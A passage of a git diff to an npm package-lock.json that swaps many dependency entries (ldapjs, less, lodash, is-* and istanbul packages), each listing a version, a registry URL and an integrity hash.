"https://registry.npmjs.org/ldapjs/-/ldapjs-1.0.2.tgz", +- "integrity": "sha1-VE/3Ayt7g8aPBwEyjZKXqmlDQPk=", +- "requires": { +- "asn1": "0.2.3", +- "assert-plus": "^1.0.0", +- "backoff": "^2.5.0", +- "bunyan": "^1.8.3", +- "dashdash": "^1.14.0", +- "dtrace-provider": "~0.8", +- "ldap-filter": "0.2.2", +- "once": "^1.4.0", +- "vasync": "^1.6.4", +- "verror": "^1.8.1" +- } +- }, +- "vasync": { +- "version": "1.6.4", +- "resolved": "https://registry.npmjs.org/vasync/-/vasync-1.6.4.tgz", +- "integrity": "sha1-3+k2Fq0OeugBszKp2Iv8XNyOHR8=", +- "requires": { +- "verror": "1.6.0" +- }, +- "dependencies": { +- "verror": { +- "version": "1.6.0", +- "resolved": "https://registry.npmjs.org/verror/-/verror-1.6.0.tgz", +- "integrity": "sha1-fROyex+swuLakEBetepuW90lLqU=", +- "requires": { +- "extsprintf": "1.2.0" +- } +- } +- } +- } +- } +- }, +- "ldapjs": { +- "version": "0.7.1", +- "resolved": "https://registry.npmjs.org/ldapjs/-/ldapjs-0.7.1.tgz", +- "integrity": "sha1-aEeYpodkC6sa+9gCz1MvMEkt+1Y=", +- "requires": { +- "asn1": "0.2.1", +- "assert-plus": "0.1.5", +- "bunyan": "0.22.1", +- "dtrace-provider": "0.2.8", +- "nopt": "2.1.1", +- "pooling": "0.4.6" +- }, +- "dependencies": { +- "bunyan": { +- "version": "0.22.1", +- "resolved": "https://registry.npmjs.org/bunyan/-/bunyan-0.22.1.tgz", +- "integrity": "sha1-Agw4O+1iWvXGyINN2MSsoN0Pdlw=", +- "requires": { +- "dtrace-provider": "0.2.8", +- "mv": "0.0.5" +- } +- }, +- "dtrace-provider": { +- "version": "0.2.8", +- "resolved": "https://registry.npmjs.org/dtrace-provider/-/dtrace-provider-0.2.8.tgz", +- "integrity": "sha1-4kPxkhmqlfvw2PL/sH9b1k6U/iA=", +- "optional": true +- }, +- "mv": { +- "version": "0.0.5", +- "resolved": "https://registry.npmjs.org/mv/-/mv-0.0.5.tgz", +- "integrity": "sha1-FerHWUeYhN8RMdbeVrziC2VPU5E=", +- "optional": true +- }, +- "nopt": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/nopt/-/nopt-2.1.1.tgz", +- "integrity": "sha1-ket8SwF+fACtytH9bWOUTQ/bdcE=", +- "requires": { +- "abbrev": "1" +- } +- } +- } +- }, +- "lead": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/lead/-/lead-1.0.0.tgz", +- "integrity": "sha1-bxT5mje+Op3XhPVJVpDlkDRm7kI=", +- "dev": true, +- "requires": { +- "flush-write-stream": "^1.0.2" +- } +- }, +- "less": { +- "version": "3.13.1", +- "resolved": "https://registry.npmjs.org/less/-/less-3.13.1.tgz", +- "integrity": "sha512-SwA1aQXGUvp+P5XdZslUOhhLnClSLIjWvJhmd+Vgib5BFIr9lMNlQwmwUNOjXThF/A0x+MCYYPeWEfeWiLRnTw==", +- "dev": true, +- "requires": { +- "copy-anything": "^2.0.1", +- "errno": "^0.1.1", +- "graceful-fs": "^4.1.2", +- "image-size": "~0.5.0", +- "make-dir": "^2.1.0", +- "mime": "^1.4.1", +- "native-request": "^1.0.5", +- "source-map": "~0.6.0", +- "tslib": "^1.10.0" +- }, +- "dependencies": { +- "mime": { +- "version": "1.6.0", +- "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", +- "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", +- "dev": true, +- "optional": true +- }, +- "source-map": { +- "version": "0.6.1", +- "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", +- "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", +- "dev": true, +- "optional": true +- }, +- "tslib": { +- "version": "1.14.1", +- "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", +- "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", +- "dev": true +- } +- } +- }, +- "less-plugin-autoprefix": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/less-plugin-autoprefix/-/less-plugin-autoprefix-2.0.0.tgz", +- "integrity": "sha512-UktaMtHAhCVTIQxjlceo1MiiQiUZws7gi3hfcpxkCLn1CJdVdlRGCb4n1/M64hniw2DLd7YzOl7ojshs1tWYcQ==", +- "dev": true, +- "requires": { +- "autoprefixer": "^8.6.3", +- "postcss": "^6.0.22" +- }, +- "dependencies": { +- "autoprefixer": { +- "version": "8.6.5", +- "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-8.6.5.tgz", +- "integrity": "sha512-PLWJN3Xo/rycNkx+mp8iBDMTm3FeWe4VmYaZDSqL5QQB9sLsQkG5k8n+LNDFnhh9kdq2K+egL/icpctOmDHwig==", +- "dev": true, +- "requires": { +- "browserslist": "^3.2.8", +- "caniuse-lite": "^1.0.30000864", +- "normalize-range": "^0.1.2", +- "num2fraction": "^1.2.2", +- "postcss": "^6.0.23", +- "postcss-value-parser": "^3.2.3" +- } +- }, +- "browserslist": { +- "version": "3.2.8", +- "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-3.2.8.tgz", +- "integrity": "sha512-WHVocJYavUwVgVViC0ORikPHQquXwVh939TaelZ4WDqpWgTX/FsGhl/+P4qBUAGcRvtOgDgC+xftNWWp2RUTAQ==", +- "dev": true, +- "requires": { +- "caniuse-lite": "^1.0.30000844", +- "electron-to-chromium": "^1.3.47" +- } +- }, +- "has-flag": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", +- "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", +- "dev": true +- }, +- "postcss": { +- "version": "6.0.23", +- "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", +- "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", +- "dev": true, +- "requires": { +- "chalk": "^2.4.1", +- "source-map": "^0.6.1", +- "supports-color": "^5.4.0" +- } +- }, +- "postcss-value-parser": { +- "version": "3.3.1", +- "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz", +- "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ==", +- "dev": true +- }, +- "source-map": { +- "version": "0.6.1", +- "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", +- "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", +- "dev": true +- }, +- "supports-color": { +- "version": "5.5.0", +- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", +- "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", ++ "integrity": "sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA==" ++ }, ++ "is-number": { ++ "version": "2.1.0", ++ "resolved": "https://registry.npmjs.org/is-number/-/is-number-2.1.0.tgz", ++ "integrity": "sha1-Afy7s5NGOlSPL0ZszhbezknbkI8=", ++ "dev": true, ++ "requires": { ++ "kind-of": "^3.0.2" ++ }, ++ "dependencies": { ++ "kind-of": { ++ "version": "3.2.2", ++ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", ++ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { +- "has-flag": "^3.0.0" ++ "is-buffer": "^1.1.5" + } + } + } + }, +- "levn": { +- "version": "0.4.1", +- "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", +- "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", +- "dev": true, ++ "is-number-object": { ++ "version": "1.0.6", ++ "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.6.tgz", ++ "integrity": "sha512-bEVOqiRcvo3zO1+G2lVMy+gkkEm9Yh7cDMRusKKu5ZJKPUYSJwICTKZrNKHA2EbSP0Tu0+6B/emsYNHZyn6K8g==", + "requires": { +- "prelude-ls": "^1.2.1", +- "type-check": "~0.4.0" ++ "has-tostringtag": "^1.0.0" + } + }, +- "liftoff": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/liftoff/-/liftoff-3.1.0.tgz", +- "integrity": "sha512-DlIPlJUkCV0Ips2zf2pJP0unEoT1kwYhiiPUGF3s/jtxTCjziNLoiVVh+jqWOWeFi6mmwQ5fNxvAUyPad4Dfog==", ++ "is-obj": { ++ "version": "2.0.0", ++ "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-2.0.0.tgz", ++ "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==" ++ }, ++ "is-path-cwd": { ++ "version": "2.2.0", ++ "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-2.2.0.tgz", ++ "integrity": "sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ==", ++ "devOptional": true ++ }, ++ "is-path-inside": { ++ "version": "3.0.3", ++ "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", ++ "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", ++ "devOptional": true ++ }, ++ "is-plain-object": { ++ "version": "2.0.4", ++ "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", ++ "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", ++ "dev": true, + "requires": { +- "extend": "^3.0.0", +- "findup-sync": "^3.0.0", +- "fined": "^1.0.1", +- "flagged-respawn": "^1.0.0", +- "is-plain-object": "^2.0.4", +- "object.map": "^1.0.0", +- "rechoir": "^0.6.2", +- "resolve": "^1.1.7" ++ "isobject": "^3.0.1" + } + }, +- "lilconfig": { +- "version": "2.0.5", +- "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.0.5.tgz", +- "integrity": "sha512-xaYmXZtTHPAw5m+xLN8ab9C+3a8YmV3asNSPOATITbtwrfbwaLJj8h66H1WMIpALCkqsIzK3h7oQ+PdX+LQ9Eg==", ++ "is-potential-custom-element-name": { ++ "version": "1.0.1", ++ "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", ++ "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==", + "dev": true + }, +- "line-reader": { +- "version": "0.2.4", +- "resolved": "https://registry.npmjs.org/line-reader/-/line-reader-0.2.4.tgz", +- "integrity": "sha1-xDkrWH3qOFgMlnhXDm6OSfzlJiI=" +- }, +- "lines-and-columns": { +- "version": "1.2.4", +- "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", +- "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", +- "dev": true ++ "is-promise": { ++ "version": "2.2.2", ++ "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.2.2.tgz", ++ "integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ==" + }, +- "linkify-it": { +- "version": "3.0.3", +- "resolved": "https://registry.npmjs.org/linkify-it/-/linkify-it-3.0.3.tgz", +- "integrity": "sha512-ynTsyrFSdE5oZ/O9GEf00kPngmOfVwazR5GKDq6EYfhlpFug3J2zybX56a2PRRpc9P+FuSoGNAwjlbDs9jJBPQ==", +- "dev": true, ++ "is-regex": { ++ "version": "1.1.4", ++ "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz", ++ "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==", + "requires": { +- "uc.micro": "^1.0.1" ++ "call-bind": "^1.0.2", ++ "has-tostringtag": "^1.0.0" + } + }, +- "list-item": { +- "version": "1.1.1", +- "resolved": "https://registry.npmjs.org/list-item/-/list-item-1.1.1.tgz", +- "integrity": "sha1-DGXQDih8tmPMs8s4Sad+iewmilY=", ++ "is-relative": { ++ "version": "1.0.0", ++ "resolved": "https://registry.npmjs.org/is-relative/-/is-relative-1.0.0.tgz", ++ "integrity": "sha512-Kw/ReK0iqwKeu0MITLFuj0jbPAmEiOsIwyIXvvbfa6QfmN9pkD1M+8pdk7Rl/dTKbH34/XBFMbgD4iMJhLQbGA==", + "dev": true, + "requires": { +- "expand-range": "^1.8.1", +- "extend-shallow": "^2.0.1", +- "is-number": "^2.1.0", +- "repeat-string": "^1.5.2" ++ "is-unc-path": "^1.0.0" + } + }, +- "listenercount": { ++ "is-shallow-equal": { + "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/listenercount/-/listenercount-1.0.1.tgz", +- "integrity": "sha1-hMinKrWcRyUyFIDJdeZQg0LnCTc=" ++ "resolved": "https://registry.npmjs.org/is-shallow-equal/-/is-shallow-equal-1.0.1.tgz", ++ "integrity": "sha512-lq5RvK+85Hs5J3p4oA4256M1FEffzmI533ikeDHvJd42nouRRx5wBzt36JuviiGe5dIPyHON/d0/Up+PBo6XkQ==" + }, +- "listr2": { +- "version": "3.14.0", +- "resolved": "https://registry.npmjs.org/listr2/-/listr2-3.14.0.tgz", +- "integrity": "sha512-TyWI8G99GX9GjE54cJ+RrNMcIFBfwMPxc3XTFiAYGN4s10hWROGtOg7+O6u6LE3mNkyld7RSLE6nrKBvTfcs3g==", +- "dev": true, ++ "is-shared-array-buffer": { ++ "version": "1.0.1", ++ "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.1.tgz", ++ "integrity": "sha512-IU0NmyknYZN0rChcKhRO1X8LYz5Isj/Fsqh8NJOSf+N/hCOTwy29F32Ik7a+QszE63IdvmwdTPDd6cZ5pg4cwA==" ++ }, ++ "is-stream": { ++ "version": "2.0.1", ++ "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", ++ "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==" ++ }, ++ "is-stream-ended": { ++ "version": "0.1.4", ++ "resolved": "https://registry.npmjs.org/is-stream-ended/-/is-stream-ended-0.1.4.tgz", ++ "integrity": "sha512-xj0XPvmr7bQFTvirqnFr50o0hQIh6ZItDqloxt5aJrR4NQsYeSsyFQERYGCAzfindAcnKjINnwEEgLx4IqVzQw==" ++ }, ++ "is-string": { ++ "version": "1.0.7", ++ "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz", ++ "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==", + "requires": { +- "cli-truncate": "^2.1.0", +- "colorette": "^2.0.16", +- "log-update": "^4.0.0", +- "p-map": "^4.0.0", +- "rfdc": "^1.3.0", +- "rxjs": "^7.5.1", +- "through": "^2.3.8", +- "wrap-ansi": "^7.0.0" +- }, +- "dependencies": { +- "colorette": { +- "version": "2.0.16", +- "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.16.tgz", +- "integrity": "sha512-hUewv7oMjCp+wkBv5Rm0v87eJhq4woh5rSR+42YSQJKecCqgIqNkZ6lAlQms/BwHPJA5NKMRlpxPRv0n8HQW6g==", +- "dev": true +- } ++ "has-tostringtag": "^1.0.0" + } + }, +- "load-script": { ++ "is-subset": { ++ "version": "0.1.1", ++ "resolved": "https://registry.npmjs.org/is-subset/-/is-subset-0.1.1.tgz", ++ "integrity": "sha1-ilkRfZMt4d4A8kX83TnOQ/HpOaY=", ++ "dev": true ++ }, ++ "is-symbol": { ++ "version": "1.0.4", ++ "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz", ++ "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==", ++ "requires": { ++ "has-symbols": "^1.0.2" ++ } ++ }, ++ "is-typedarray": { + "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/load-script/-/load-script-1.0.0.tgz", +- "integrity": "sha1-BJGTngvuVkPuSUp+PaPSuscMbKQ=" ++ "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", ++ "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=" + }, +- "loader-runner": { +- "version": "4.2.0", +- "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.2.0.tgz", +- "integrity": "sha512-92+huvxMvYlMzMt0iIOukcwYBFpkYJdpl2xsZ7LrlayO7E8SOv+JJUEK17B/dJIHAOLMfh2dZZ/Y18WgmGtYNw==" ++ "is-unc-path": { ++ "version": "1.0.0", ++ "resolved": "https://registry.npmjs.org/is-unc-path/-/is-unc-path-1.0.0.tgz", ++ "integrity": "sha512-mrGpVd0fs7WWLfVsStvgF6iEJnbjDFZh9/emhRDcGWTduTfNHd9CHeUwH3gYIjdbwo4On6hunkztwOaAw0yllQ==", ++ "dev": true, ++ "requires": { ++ "unc-path-regex": "^0.1.2" ++ } + }, +- "loader-utils": { +- "version": "2.0.2", +- "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.2.tgz", +- "integrity": "sha512-TM57VeHptv569d/GKh6TAYdzKblwDNiumOdkFnejjD0XwTH87K90w3O7AiJRqdQoXygvi1VQTJTLGhJl7WqA7A==", ++ "is-unicode-supported": { ++ "version": "0.1.0", ++ "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", ++ "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", ++ "dev": true ++ }, ++ "is-utf8": { ++ "version": "0.2.1", ++ "resolved": "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz", ++ "integrity": "sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=", ++ "dev": true ++ }, ++ "is-valid-glob": { ++ "version": "1.0.0", ++ "resolved": "https://registry.npmjs.org/is-valid-glob/-/is-valid-glob-1.0.0.tgz", ++ "integrity": "sha1-Kb8+/3Ab4tTTFdusw5vDn+j2Aao=", ++ "dev": true ++ }, ++ "is-weakref": { ++ "version": "1.0.2", ++ "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz", ++ "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==", + "requires": { +- "big.js": "^5.2.2", +- "emojis-list": "^3.0.0", +- "json5": "^2.1.2" +- }, +- "dependencies": { +- "big.js": { +- "version": "5.2.2", +- "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", +- "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==" +- } ++ "call-bind": "^1.0.2" + } + }, +- "locate-path": { +- "version": "6.0.0", +- "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", +- "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", ++ "is-what": { ++ "version": "3.14.1", ++ "resolved": "https://registry.npmjs.org/is-what/-/is-what-3.14.1.tgz", ++ "integrity": "sha512-sNxgpk9793nzSs7bA6JQJGeIuRBQhAaNGG77kzYQgMkrID+lS6SlK07K5LaptscDlSaIgH+GPFzf+d75FVxozA==", ++ "dev": true ++ }, ++ "is-windows": { ++ "version": "1.0.2", ++ "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz", ++ "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==", ++ "dev": true ++ }, ++ "is-wsl": { ++ "version": "2.2.0", ++ "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz", ++ "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", + "requires": { +- "p-locate": "^5.0.0" ++ "is-docker": "^2.0.0" + } + }, +- "lockfile": { +- "version": "1.0.4", +- "resolved": "https://registry.npmjs.org/lockfile/-/lockfile-1.0.4.tgz", +- "integrity": "sha512-cvbTwETRfsFh4nHsL1eGWapU1XFi5Ot9E85sWAwia7Y7EgB7vfqcZhTKZ+l7hCGxSPoushMv5GKhT5PdLv03WA==", ++ "isarray": { ++ "version": "2.0.5", ++ "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", ++ "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==" ++ }, ++ "isbinaryfile": { ++ "version": "4.0.8", ++ "resolved": "https://registry.npmjs.org/isbinaryfile/-/isbinaryfile-4.0.8.tgz", ++ "integrity": "sha512-53h6XFniq77YdW+spoRrebh0mnmTxRPTlcuIArO57lmMdq4uBKFKaeTjnb92oYWrSn/LVL+LT+Hap2tFQj8V+w==", ++ "dev": true ++ }, ++ "isexe": { ++ "version": "2.0.0", ++ "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", ++ "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=" ++ }, ++ "isobject": { ++ "version": "3.0.1", ++ "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", ++ "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", ++ "dev": true ++ }, ++ "isomorphic-unfetch": { ++ "version": "3.1.0", ++ "resolved": "https://registry.npmjs.org/isomorphic-unfetch/-/isomorphic-unfetch-3.1.0.tgz", ++ "integrity": "sha512-geDJjpoZ8N0kWexiwkX8F9NkTsXhetLPVbZFQ+JTW239QNOwvB0gniuR1Wc6f0AMTn7/mFGyXvHTifrCp/GH8Q==", + "requires": { +- "signal-exit": "^3.0.2" ++ "node-fetch": "^2.6.1", ++ "unfetch": "^4.2.0" + } + }, +- "lodash": { +- "version": "4.17.21", +- "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", +- "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" ++ "isstream": { ++ "version": "0.1.2", ++ "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", ++ "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=" + }, +- "lodash-es": { +- "version": "4.17.21", +- "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz", +- "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==" ++ "istanbul-lib-coverage": { ++ "version": "3.2.0", ++ "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.0.tgz", ++ "integrity": "sha512-eOeJ5BHCmHYvQK7xt9GkdHuzuCGS1Y6g9Gvnx3Ym33fz/HpLRYxiS0wHNr+m/MBC8B647Xt608vCDEvhl9c6Mw==", ++ "dev": true + }, +- "lodash._arraypool": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._arraypool/-/lodash._arraypool-2.4.1.tgz", +- "integrity": "sha1-6I7suS4ruEyQZWEv2VigcZzUf5Q=" ++ "istanbul-lib-hook": { ++ "version": "3.0.0", ++ "resolved": "https://registry.npmjs.org/istanbul-lib-hook/-/istanbul-lib-hook-3.0.0.tgz", ++ "integrity": "sha512-Pt/uge1Q9s+5VAZ+pCo16TYMWPBIl+oaNIjgLQxcX0itS6ueeaA+pEfThZpH8WxhFgCiEb8sAJY6MdUKgiIWaQ==", ++ "dev": true, ++ "requires": { ++ "append-transform": "^2.0.0" ++ } + }, +- "lodash._basebind": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._basebind/-/lodash._basebind-2.4.1.tgz", +- "integrity": "sha1-6UC5690nwyfgqNqxtVkWxTQelXU=", ++ "istanbul-lib-instrument": { ++ "version": "4.0.3", ++ "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-4.0.3.tgz", ++ "integrity": "sha512-BXgQl9kf4WTCPCCpmFGoJkz/+uhvm7h7PFKUYxh7qarQd3ER33vHG//qaE8eN25l07YqZPpHXU9I09l/RD5aGQ==", ++ "dev": true, + "requires": { +- "lodash._basecreate": "~2.4.1", +- "lodash._setbinddata": "~2.4.1", +- "lodash._slice": "~2.4.1", +- "lodash.isobject": "~2.4.1" ++ "@babel/core": "^7.7.5", ++ "@istanbuljs/schema": "^0.1.2", ++ "istanbul-lib-coverage": "^3.0.0", ++ "semver": "^6.3.0" + } + }, +- "lodash._baseclone": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._baseclone/-/lodash._baseclone-2.4.1.tgz", +- "integrity": "sha1-MPgj5X4X43NdODvWK2Czh1Q7QYY=", ++ "istanbul-lib-processinfo": { ++ "version": "2.0.2", ++ "resolved": "https://registry.npmjs.org/istanbul-lib-processinfo/-/istanbul-lib-processinfo-2.0.2.tgz", ++ "integrity": "sha512-kOwpa7z9hme+IBPZMzQ5vdQj8srYgAtaRqeI48NGmAQ+/5yKiHLV0QbYqQpxsdEF0+w14SoB8YbnHKcXE2KnYw==", ++ "dev": true, + "requires": { +- "lodash._getarray": "~2.4.1", +- "lodash._releasearray": "~2.4.1", +- "lodash._slice": "~2.4.1", +- "lodash.assign": "~2.4.1", +- "lodash.foreach": "~2.4.1", +- "lodash.forown": "~2.4.1", +- "lodash.isarray": "~2.4.1", +- "lodash.isobject": "~2.4.1" ++ "archy": "^1.0.0", ++ "cross-spawn": "^7.0.0", ++ "istanbul-lib-coverage": "^3.0.0-alpha.1", ++ "make-dir": "^3.0.0", ++ "p-map": "^3.0.0", ++ "rimraf": "^3.0.0", ++ "uuid": "^3.3.3" ++ }, ++ "dependencies": { ++ "make-dir": { ++ "version": "3.1.0", ++ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", ++ "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", ++ "dev": true, ++ "requires": { ++ "semver": "^6.0.0" ++ } ++ }, ++ "p-map": { ++ "version": "3.0.0", ++ "resolved": "https://registry.npmjs.org/p-map/-/p-map-3.0.0.tgz", ++ "integrity": "sha512-d3qXVTF/s+W+CdJ5A29wywV2n8CQQYahlgz2bFiA+4eVNJbHJodPZ+/gXwPGh0bOqA+j8S+6+ckmvLGPk1QpxQ==", ++ "dev": true, ++ "requires": { ++ "aggregate-error": "^3.0.0" ++ } ++ }, ++ "rimraf": { ++ "version": "3.0.2", ++ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", ++ "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", ++ "dev": true, ++ "requires": { ++ "glob": "^7.1.3" ++ } ++ } + } + }, +- "lodash._basecreate": { +- "version": "2.4.1", +- "resolved": 